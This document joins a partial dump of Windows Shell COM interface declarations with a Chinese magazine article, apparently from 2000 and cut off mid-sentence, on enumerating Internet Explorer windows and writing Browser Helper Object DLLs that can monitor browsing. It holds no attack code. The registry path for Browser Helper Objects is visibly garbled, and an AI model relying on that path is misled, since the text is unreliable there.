function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

function ClearResults;

function NavigateToSearchResults;

property-get ProgressText: BSTR;

function SaveSearch;

function GetErrorInfo(out pbs:^BSTR): INT;

function SearchFor(iFor:INT);

function GetScopeInfo(bsScope:BSTR; out pdwScopeInfo:^INT);

function RestoreSavedSearch(pvarFile:^variant);

function Execute(RecordsAffected:^variant; Parameters:^variant; Options:I4);

function AddConstraint(Name:BSTR; Value:variant);

function GetNextConstraint(fReset:bool): ^DFConstraint;

Enum SearchCommandExecuteErrors; // Search Command Execute Errors

GUID={418F4E6A-B903-11D1-B0A6-00C04FC33AA5};

SCEE_PATHNOTFOUND = 1;

SCEE_MAXFILESFOUND = 2;

SCEE_INDEXSEARCH = 3;

SCEE_CONSTRAINT = 4;

SCEE_SCOPEMISMATCH = 5;

SCEE_CASESENINDEX = 6;

SCEE_INDEXNOTCOMPLETE = 7;

Dispatch FolderItem; // Definition of interface FolderItem

GUID={FAC32C80-CBE4-11CE-8350-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Path: BSTR;

property-get GetLink: IDispatch;

property-get GetFolder: IDispatch;

property-get IsLink: bool;

property-get IsFolder: bool;

property-get IsFileSystem: bool;

property-get IsBrowsable: bool;

property-get ModifyDate: date;

property-put ModifyDate(date);

property-get Size: I4;

property-get Type: BSTR;

function Verbs: ^FolderItemVerbs;

function InvokeVerb([vVerb:variant]);

Dispatch FolderItemVerbs; // Definition of interface FolderItemVerbs

GUID={1F8352C0-50B0-11CF-960C-0080C7F4EE85};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Count: I4;

property-get Application: IDispatch;

property-get Parent: IDispatch;

function Item([index:variant]): ^FolderItemVerb;

function _NewEnum: IUnknown;

Dispatch FolderItemVerb; // Definition of interface FolderItemVerb

GUID={08EC3E00-50B0-11CF-960C-0080C7F4EE85};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Name: BSTR;

function DoIt;

Dispatch FolderItems; // Definition of interface FolderItems

GUID={744129E0-CBE5-11CE-8350-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Count: I4;

property-get Application: IDispatch;

property-get Parent: IDispatch;

function Item([index:variant]): ^FolderItem;

function _NewEnum: IUnknown;

Dispatch Folder; // Definition of interface Folder

GUID={BBCBDE60-C3FF-11CE-8350-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Title: BSTR;

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get ParentFolder: ^Folder;

function Items: ^FolderItems;

function ParseName(bName:BSTR): ^FolderItem;

function NewFolder(bName:BSTR; [vOptions:variant]);

function MoveHere(vItem:variant; [vOptions:variant]);

function CopyHere(vItem:variant; [vOptions:variant]);

function GetDetailsOf(vItem:variant; iColumn:INT): BSTR;

Dispatch Folder2; // Definition of interface Folder2

GUID={F0D2D8EF-3890-11D2-BF8B-00C04FB93661};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Title: BSTR;

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get ParentFolder: ^Folder;

function Items: ^FolderItems;

function ParseName(bName:BSTR): ^FolderItem;

function NewFolder(bName:BSTR; [vOptions:variant]);

function MoveHere(vItem:variant; [vOptions:variant]);

function CopyHere(vItem:variant; [vOptions:variant]);

function GetDetailsOf(vItem:variant; iColumn:INT): BSTR;

property-get Self: ^FolderItem;

property-get OfflineStatus: I4;

function Synchronize;

property-get HaveToShowWebViewBarricade: bool;

function DismissedWebViewBarricade;

Enum OfflineFolderStatus; // Constants for Folder2.OfflineStatus

GUID={35F1A0D0-3E9A-11D2-8499-005345000000};

OFS_INACTIVE = -1;

OFS_ONLINE = 0;

OFS_OFFLINE = 1;

OFS_SERVERBACK = 2;

OFS_DIRTYCACHE = 3;

Dispatch FolderItem2; // Definition of interface FolderItem Version 2

GUID={EDC817AA-92B8-11D1-B075-00C04FC33AA5};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Path: BSTR;

property-get GetLink: IDispatch;

property-get GetFolder: IDispatch;

property-get IsLink: bool;

property-get IsFolder: bool;

property-get IsFileSystem: bool;

property-get IsBrowsable: bool;

property-get ModifyDate: date;

property-put ModifyDate(date);

property-get Size: I4;

property-get Type: BSTR;

function Verbs: ^FolderItemVerbs;

function InvokeVerb([vVerb:variant]);

function InvokeVerbEx([vVerb:variant; vArgs:variant]);

function ExtendedProperty(bstrPropName:BSTR): variant;

Class ShellFolderItem; // Shell Folder Item

GUID={2FE352EA-FD1F-11D2-B1F4-00C04F8EEB3E};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Path: BSTR;

property-get GetLink: IDispatch;

property-get GetFolder: IDispatch;

property-get IsLink: bool;

property-get IsFolder: bool;

property-get IsFileSystem: bool;

property-get IsBrowsable: bool;

property-get ModifyDate: date;

property-put ModifyDate(date);

property-get Size: I4;

property-get Type: BSTR;

function Verbs: ^FolderItemVerbs;

function InvokeVerb([vVerb:variant]);

function InvokeVerbEx([vVerb:variant; vArgs:variant]);

function ExtendedProperty(bstrPropName:BSTR): variant;

Dispatch FolderItems2; // Definition of interface FolderItems Version 2

GUID={C94F0AD0-F363-11D2-A327-00C04F8EEC7F};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Count: I4;

property-get Application: IDispatch;

property-get Parent: IDispatch;

function Item([index:variant]): ^FolderItem;

function _NewEnum: IUnknown;

function InvokeVerbEx([vVerb:variant; vArgs:variant]);

Dispatch IShellLinkDual; // Definition of Shell Link IDispatch interface

GUID={88A05C00-F000-11CE-8350-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Path: BSTR;

property-put Path(BSTR);

property-get Description: BSTR;

property-put Description(BSTR);

property-get WorkingDirectory: BSTR;

property-put WorkingDirectory(BSTR);

property-get Arguments: BSTR;

property-put Arguments(BSTR);

property-get Hotkey: INT;

property-put Hotkey(INT);

property-get ShowCommand: INT;

property-put ShowCommand(INT);

function Resolve(fFlags:INT);

function GetIconLocation(out pbs:^BSTR): INT;

function SetIconLocation(bs:BSTR; iIcon:INT);

function Save([vWhere:variant]);

Dispatch IShellLinkDual2; // Shell Link2 IDispatch interface

GUID={317EE249-F12E-11D2-B1E4-00C04F8EEB3E};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Path: BSTR;

property-put Path(BSTR);

property-get Description: BSTR;

property-put Description(BSTR);

property-get WorkingDirectory: BSTR;

property-put WorkingDirectory(BSTR);

property-get Arguments: BSTR;

property-put Arguments(BSTR);

property-get Hotkey: INT;

property-put Hotkey(INT);

property-get ShowCommand: INT;

property-put ShowCommand(INT);

function Resolve(fFlags:INT);

function GetIconLocation(out pbs:^BSTR): INT;

function SetIconLocation(bs:BSTR; iIcon:INT);

function Save([vWhere:variant]);

property-get Target: ^FolderItem;

Class ShellLinkObject; // Shell Link object

GUID={11219420-1768-11D1-95BE-00609797EA4F};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Path: BSTR;

property-put Path(BSTR);

property-get Description: BSTR;

property-put Description(BSTR);

property-get WorkingDirectory: BSTR;

property-put WorkingDirectory(BSTR);

property-get Arguments: BSTR;

property-put Arguments(BSTR);

property-get Hotkey: INT;

property-put Hotkey(INT);

property-get ShowCommand: INT;

property-put ShowCommand(INT);

function Resolve(fFlags:INT);

function GetIconLocation(out pbs:^BSTR): INT;

function SetIconLocation(bs:BSTR; iIcon:INT);

function Save([vWhere:variant]);

Dispatch IShellFolderViewDual; // definition of interface IShellFolderViewDual

GUID={E7A1AF80-4D96-11CF-960C-0080C7F4EE85};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Folder: ^Folder;

function SelectedItems: ^FolderItems;

property-get FocusedItem: ^FolderItem;

function SelectItem(pvfi:^variant; dwFlags:INT);

function PopupItemMenu(pfi:^FolderItem; [vx:variant; vy:variant]): BSTR;

property-get Script: IDispatch;

property-get ViewOptions: I4;

Class ShellFolderView; // Shell Folder View Object

GUID={62112AA1-EBE4-11CF-A5FB-0020AFE7292D};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Folder: ^Folder;

function SelectedItems: ^FolderItems;

property-get FocusedItem: ^FolderItem;

function SelectItem(pvfi:^variant; dwFlags:INT);

function PopupItemMenu(pfi:^FolderItem; [vx:variant; vy:variant]): BSTR;

property-get Script: IDispatch;

property-get ViewOptions: I4;

function SelectionChanged;

function EnumDone;

Enum ShellFolderViewOptions; // Constants for ViewOptions

GUID={742A99A0-C77E-11D0-A32C-00A0C91EEDBA};

SFVVO_SHOWALLOBJECTS = 1;

SFVVO_SHOWEXTENSIONS = 2;

SFVVO_SHOWCOMPCOLOR = 8;

SFVVO_SHOWSYSFILES = 32;

SFVVO_WIN95CLASSIC = 64;

SFVVO_DOUBLECLICKINWEBVIEW = 128;

SFVVO_DESKTOPHTML = $200;

Dispatch IShellDispatch; // Definition of interface IShellDispatch

GUID={D8F015C0-C278-11CE-A49E-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

function NameSpace(vDir:variant): ^Folder;

function BrowseForFolder(Hwnd:I4; Title:BSTR; Options:I4; [RootFolder:variant]): ^Folder;

function Windows: IDispatch;

function Open(vDir:variant);

function Explore(vDir:variant);

function MinimizeAll;

function UndoMinimizeALL;

function FileRun;

function CascadeWindows;

function TileVertically;

function TileHorizontally;

function ShutdownWindows;

function Suspend;

function EjectPC;

function SetTime;

function TrayProperties;

function Help;

function FindFiles;

function FindComputer;

function RefreshMenu;

function ControlPanelItem(szDir:BSTR);

Dispatch IShellDispatch2; // Updated IShellDispatch

GUID={A4C6892C-3BA9-11D2-9DEA-00C04FB16162};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

function NameSpace(vDir:variant): ^Folder;

function BrowseForFolder(Hwnd:I4; Title:BSTR; Options:I4; [RootFolder:variant]): ^Folder;

function Windows: IDispatch;

function Open(vDir:variant);

function Explore(vDir:variant);

function MinimizeAll;

function UndoMinimizeALL;

function FileRun;

function CascadeWindows;

function TileVertically;

function TileHorizontally;

function ShutdownWindows;

function Suspend;

function EjectPC;

function SetTime;

function TrayProperties;

function Help;

function FindFiles;

function FindComputer;

function RefreshMenu;

function ControlPanelItem(szDir:BSTR);

function IsRestricted(Group:BSTR; Restriction:BSTR): I4;

function ShellExecute(File:BSTR; [vArgs:variant; vDir:variant; vOperation:variant; vShow:variant]);

function FindPrinter(Name:BSTR; location:BSTR; model:BSTR);

function GetSystemInformation(Name:BSTR): variant;

function ServiceStart(ServiceName:BSTR; Persistent:variant): variant;

function ServiceStop(ServiceName:BSTR; Persistent:variant): variant;

function IsServiceRunning(ServiceName:BSTR): variant;

function CanStartStopService(ServiceName:BSTR): variant;

function ShowBrowserBar(bstrClsid:BSTR; bShow:variant): variant;

Class Shell; // Shell Object Type Information

GUID={13709620-C279-11CE-A49E-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

function NameSpace(vDir:variant): ^Folder;

function BrowseForFolder(Hwnd:I4; Title:BSTR; Options:I4; [RootFolder:variant]): ^Folder;

function Windows: IDispatch;

function Open(vDir:variant);

function Explore(vDir:variant);

function MinimizeAll;

function UndoMinimizeALL;

function FileRun;

function CascadeWindows;

function TileVertically;

function TileHorizontally;

function ShutdownWindows;

function Suspend;

function EjectPC;

function SetTime;

function TrayProperties;

function Help;

function FindFiles;

function FindComputer;

function RefreshMenu;

function ControlPanelItem(szDir:BSTR);

Class ShellDispatchInproc; // ShellDispatch Load in Shell Context

GUID={0A89A860-D7B1-11CE-8350-444553540000};

function QueryInterface(riid:^GUID; out ppvObj:^^void): HResult;

function AddRef: UI4;

function Release: UI4;

Class WebViewFolderContents;

GUID={1820FED0-473E-11D0-A96C-00C04FD705A2};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: IDispatch;

property-get Parent: IDispatch;

property-get Folder: ^Folder;

function SelectedItems: ^FolderItems;

property-get FocusedItem: ^FolderItem;

function SelectItem(pvfi:^variant; dwFlags:INT);

function PopupItemMenu(pfi:^FolderItem; [vx:variant; vy:variant]): BSTR;

property-get Script: IDispatch;

property-get ViewOptions: I4;

function SelectionChanged;

function EnumDone;

Enum ShellSpecialFolderConstants; // Constants for Special Folders for open/Explore

GUID={CA31EA20-48D0-11CF-8350-444553540000};

ssfDESKTOP = 0;

ssfPROGRAMS = 2;

ssfCONTROLS = 3;

ssfPRINTERS = 4;

ssfPERSONAL = 5;

ssfFAVORITES = 6;

ssfSTARTUP = 7;

ssfRECENT = 8;

ssfSENDTO = 9;

ssfBITBUCKET = 10;

ssfSTARTMENU = 11;

ssfDESKTOPDIRECTORY = 16;

ssfDRIVES = 17;

ssfNETWORK = 18;

ssfNETHOOD = 19;

ssfFONTS = 20;

ssfTEMPLATES = 21;

ssfCOMMONSTARTMENU = 22;

ssfCOMMONPROGRAMS = 23;

ssfCOMMONSTARTUP = 24;

ssfCOMMONDESKTOPDIR = 25;

ssfAPPDATA = 26;

ssfPRINTHOOD = 27;

ssfLOCALAPPDATA = 28;

ssfALTSTARTUP = 29;

ssfCOMMONALTSTARTUP = 30;

ssfCOMMONFAVORITES = 31;

ssfINTERNETCACHE = 32;

ssfCOOKIES = 33;

ssfHISTORY = 34;

ssfCOMMONAPPDATA = 35;

ssfWINDOWS = 36;

ssfSYSTEM = 37;

ssfPROGRAMFILES = 38;

ssfMYPICTURES = 39;

ssfPROFILE = 40;

ssfSYSTEMx86 = 41;

ssfPROGRAMFILESx86 = 48;

Dispatch DSearchCommandEvents; // Event interface for command events

GUID={60890160-69F0-11D1-B758-00A0C90564FE};

function SearchStart: HResult;

function SearchComplete: HResult;

function SearchAbort: HResult;

function RecordsetUpdate: HResult;

function ProgressTextChanged: HResult;

function SearchError: HResult;

function SearchRestored: HResult;

Class SearchCommand; // Search command object.

GUID={B005E690-678D-11D1-B758-00A0C90564FE};

function GetTypeInfoCount(out pctinfo:^UINT): HResult;

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void): HResult;

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4): HResult;

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT): HResult;

function SearchStart: HResult;

function SearchComplete: HResult;

function SearchAbort: HResult;

function RecordsetUpdate: HResult;

function ProgressTextChanged: HResult;

function SearchError: HResult;

function SearchRestored: HResult;

Dispatch IFileSearchBand; // IFileSearchBand Interface

GUID={2D91EEA1-9932-11D2-BE86-00A0C9A83DA1};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

function SetFocus;

function SetSearchParameters(pbstrSearchID:^BSTR; bNavToResults:bool; [pvarScope:^variant; pvarQueryFile:^variant]);

property-get SearchID: BSTR;

property-get Scope: variant;

property-get QueryFile: variant;

Class FileSearchBand; // FileSearchBand Class

GUID={C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

function SetFocus;

function SetSearchParameters(pbstrSearchID:^BSTR; bNavToResults:bool; [pvarScope:^variant; pvarQueryFile:^variant]);

property-get SearchID: BSTR;

property-get Scope: variant;

property-get QueryFile: variant;


实现和IE浏览器交互的几种方法
《计算机世界》

出版日期: 20000703

实现和IE浏览器交互的几种方法

浙江大学计算机系 (310027) 胡朝晖 陈奇 俞瑞钊

如何实现对IE浏览器中对象的操作是一个很有实际意义的问题,

通过和IE绑定的DLL 我们可以记录IE浏览过的网页的顺序,分析用户

的使用行为和模式。我们可以对网页的内容进行过滤和翻译,可以自

动填写网页中经常需要用户填写的Form内容,等等。

本文所有的例子代码都是通过VC来表示的,采用的原理是,通过和

IE对象接口的交互来实现对IE的访问。实际上是采用COM的技术,COM

是和语言无关的一种二进制对象交互的模式,所以实际上下面所描述

的内容都可以用其他的语言来实现,比如VB、Delphi、C++ Builder等

等。

一 实现IE实例遍历

首先我们来看系统是如何知道当前有多少个IE的实例在运行。

在Windows体系结构下,一个应用程序可以通过操作系统的运行对

象表来和这些应用的实例进行交互。但是IE当前的实现机制是不在运

行对象表中进行注册,所以需要采用其他的方法。可以通过ShellWind

ows集合来代表属于shell的当前打开的窗口的集合,而IE 就是属于sh

ell的一个应用程序。

下面描述一下用VC实现对当前IE实例进行遍历的方法。IShellWi

ndows是关于系统s hell的一个接口,可以定义一个如下的接口变量:

SHDocVw::IShellWindowsPtr m_spSHWinds;

然后创建变量的实例:

m_spSHWinds.CreateInstance(__uuidof(SHDocVw::ShellWindo

ws));

通过IShellWindows接口的方法GetCount可以得到当前实例的数

目:

long nCount = m_spSHWinds->GetCount();

通过IShellWindows接口的方法Item可以得到每一个实例对象:

IDispatchPtr spDisp;

_variant_t va(i, VT_I4);

spDisp = m_spSHWinds->Item(va);

然后可以判断实例对象是不是属于IE浏览器对象,通过下面的语

句实现:

SHDocVw::IWebBrowser2Ptr spBrowser(spDisp);

assert(spBrowser != NULL)

在得到了IE浏览器对象以后,可以调用IWebBrowser2Ptr接口的方

法来得到当前的文档对象的指针: MSHTML::IHTMLDocument2Ptr spDo

c(spBrowser->GetDocument());

然后就可以通过这个接口对这个文档对象进行操作,比如通过Get

title得到文档的标题。

在浏览网络的时候,一般总会同时开很多IE的实例,如果这些页面

都是很好的话,我们可能想保存在硬盘上,这样,需要对每一个实例进

行保存,而如果采用上面的原理,就可以得到每一个IE的实例及其网页

对象的接口,这样就可以通过一个简单的程序来批量保存当前的所有

打开的网页。

采用上面介绍的方法实现了对当前IE实例的遍历,但是我们希望

得到每一个IE实例所产生的事件,这就需要通过DLL的机制来实现。

二 实现和IE相绑定的DLL

介绍一下如何建立和IE进行绑定的DLL的实现的过程。为了和IE

的运行实例进行绑定,需要建立一个能够和每一个IE实例进行绑定的D

LL。IE的启动过程是这样的,当每一个I E的实例启动的时候,它都会

在注册表中去寻找一个CLSID,具体的注册表的键位置为:

HKEY_LOCALL_MACHINE

rsionrowser Helper Objects

当在这个键位置下存在CLSIDs的时候,IE会通过使用CoCreateIns

tance()方法来创建列在该键位置下的每一个对象的实例。注意对象

的CLSIDs必须用子键而非名字值的形式表现,比如{DD41D66E-CE4F-11

D2-8DA9-00A0249EABF4}就是一个有效的子键。

使用DLL的形式而非EXE的形式的原因是因为DLL和IE实例运行在

同一个进程空间里面。每一个这种形式的DLL必须实现接口IObjectWi

thSite,其中方法SetSite必须被实现。通过这个方法,我们自己的DLL

就可以得到一个指向IE COM对象的IUnknown的指针,实际上通过这个

指针就可以通过COM对象中的方法QueryInterface来遍历所有可以得

到的接口, 这是COM的基本的机制。当然需要的只是IWebBrowser2这

个接口。

实际上建立的是一个COM对象,DLL只不过是COM对象的一种表现形

式。COM对象需要建立和实现的方法有:

1. 实现IOleObjectWithSite接口的方法SetSite。

实际上IE实例通过这个方法向COM对象传递一个接口的指针。假

设有一个接口指针的变量,不妨设为:

CComQIPtr<IWebBrowser2, &ⅡD_IWebBrowser2> m_myWebBrowse

r2;

就可以在方法SetSite中把这个传进来的接口的指针赋给m_myWeb

Browser2。

2. 在得到了指向IE COM对象的接口后,需要把自己的DLL和IE实

例所发生的事件相关联。

为了实现这个目的,需要介绍两个接口:

